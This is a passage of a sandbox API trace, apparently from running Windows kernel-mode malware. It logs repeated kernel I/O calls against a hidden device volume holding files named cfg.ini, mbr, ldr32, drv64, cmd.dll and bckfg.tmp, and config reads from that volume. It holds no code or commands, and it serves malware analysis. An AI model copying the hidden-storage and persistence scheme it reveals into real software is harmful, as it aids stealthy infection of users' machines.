Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.996] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.996] IdePortDispatch () returned 0x103 [0121.996] KeWaitForMutexObject () returned 0x0 [0121.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.996] KeLeaveCriticalRegion () [0121.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.996] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.996] KeEnterCriticalRegion () [0121.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.996] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0a000 [0121.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.996] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.996] IdePortDispatch () returned 0x103 [0121.996] KeWaitForMutexObject () returned 0x0 [0121.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.996] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.996] IdePortDispatch () returned 0x103 [0121.996] KeWaitForMutexObject () returned 0x0 [0121.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.997] KeLeaveCriticalRegion () [0121.997] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.997] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.997] KeEnterCriticalRegion () [0121.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.997] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.997] KeLeaveCriticalRegion () [0121.997] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.997] KeEnterCriticalRegion () [0121.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.997] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.997] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc97b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.997] KeLeaveCriticalRegion () [0121.997] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.997] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.997] KeEnterCriticalRegion () [0121.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.997] ExFreePoolWithTag (P=0xfffffa8003be3010, Tag=0x0) [0121.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.997] KeLeaveCriticalRegion () [0121.997] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.997] ReleaseMutex (hMutex=0xf0) returned 1 [0121.997] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.998] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.998] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.998] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.998] KeEnterCriticalRegion () [0121.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.998] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.998] IdePortDispatch () returned 0x103 [0121.998] KeWaitForMutexObject () returned 0x0 [0121.998] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.998] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.998] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.998] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.998] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.998] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.998] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.998] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.998] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.998] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.998] KeLeaveCriticalRegion () [0121.998] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.998] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.998] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.998] KeEnterCriticalRegion () [0121.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.998] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.998] IdePortDispatch () returned 0x103 [0121.999] KeWaitForMutexObject () returned 0x0 [0121.999] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.999] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.999] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.999] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.999] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.999] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.999] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.999] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.999] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.999] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.999] KeLeaveCriticalRegion () [0121.999] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.999] ReleaseMutex (hMutex=0x100) returned 1 [0121.999] Sleep (dwMilliseconds=0x2bf20) [0122.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6beaf9b0, dwHighDateTime=0x1d24fa4)) [0122.006] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.006] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.006] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.006] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.006] KeEnterCriticalRegion () [0122.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.006] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.006] IdePortDispatch () returned 0x103 [0122.006] KeWaitForMutexObject () returned 0x0 [0122.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.006] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.006] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.006] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.006] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.006] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be29b0 [0122.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.006] KeLeaveCriticalRegion () [0122.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.006] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.007] KeEnterCriticalRegion () [0122.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.007] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.007] KeLeaveCriticalRegion () [0122.007] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.007] KeEnterCriticalRegion () [0122.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.007] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.007] IdePortDispatch () returned 0x103 [0122.007] KeWaitForMutexObject () returned 0x0 [0122.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.007] KeLeaveCriticalRegion () [0122.007] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.007] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.007] KeEnterCriticalRegion () [0122.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0d000 [0122.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.007] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.007] IdePortDispatch () returned 0x103 [0122.007] KeWaitForMutexObject () returned 0x0 [0122.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.008] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.008] IdePortDispatch () returned 0x103 [0122.008] KeWaitForMutexObject () returned 0x0 [0122.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.008] KeLeaveCriticalRegion () [0122.008] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.008] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.008] KeEnterCriticalRegion () [0122.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.008] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.008] KeLeaveCriticalRegion () [0122.008] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.008] KeEnterCriticalRegion () [0122.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.008] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.008] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3ec0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.008] KeLeaveCriticalRegion () [0122.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.009] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.009] KeEnterCriticalRegion () [0122.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.009] ExFreePoolWithTag (P=0xfffffa8003be29b0, Tag=0x0) [0122.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.009] KeLeaveCriticalRegion () [0122.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.009] ReleaseMutex (hMutex=0xf0) returned 1 [0122.009] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.009] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.009] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.009] KeEnterCriticalRegion () [0122.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.009] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.009] IdePortDispatch () returned 0x103 [0122.009] KeWaitForMutexObject () returned 0x0 [0122.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.009] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.009] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.009] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.009] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.009] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3fb0 [0122.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.009] KeLeaveCriticalRegion () [0122.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.009] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.009] KeEnterCriticalRegion () [0122.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.009] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.009] KeLeaveCriticalRegion () [0122.009] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.010] KeEnterCriticalRegion () [0122.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.010] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.010] IdePortDispatch () returned 0x103 [0122.010] KeWaitForMutexObject () returned 0x0 [0122.010] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.010] KeLeaveCriticalRegion () [0122.010] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.010] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.010] KeEnterCriticalRegion () [0122.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0e000 [0122.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.010] IdePortDispatch () returned 0x103 [0122.010] KeWaitForMutexObject () returned 0x0 [0122.010] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.010] IdePortDispatch () returned 0x103 [0122.010] KeWaitForMutexObject () returned 0x0 [0122.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.011] KeLeaveCriticalRegion () [0122.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.011] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.011] KeEnterCriticalRegion () [0122.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.011] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.011] KeLeaveCriticalRegion () [0122.011] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.011] KeEnterCriticalRegion () [0122.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.011] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.011] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.011] KeLeaveCriticalRegion () [0122.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.011] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.011] KeEnterCriticalRegion () [0122.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.011] ExFreePoolWithTag (P=0xfffffa8003be3fb0, Tag=0x0) [0122.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.012] KeLeaveCriticalRegion () [0122.012] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.012] ReleaseMutex (hMutex=0xf0) returned 1 [0122.012] WaitForSingleObject (hHandle=0xf0, 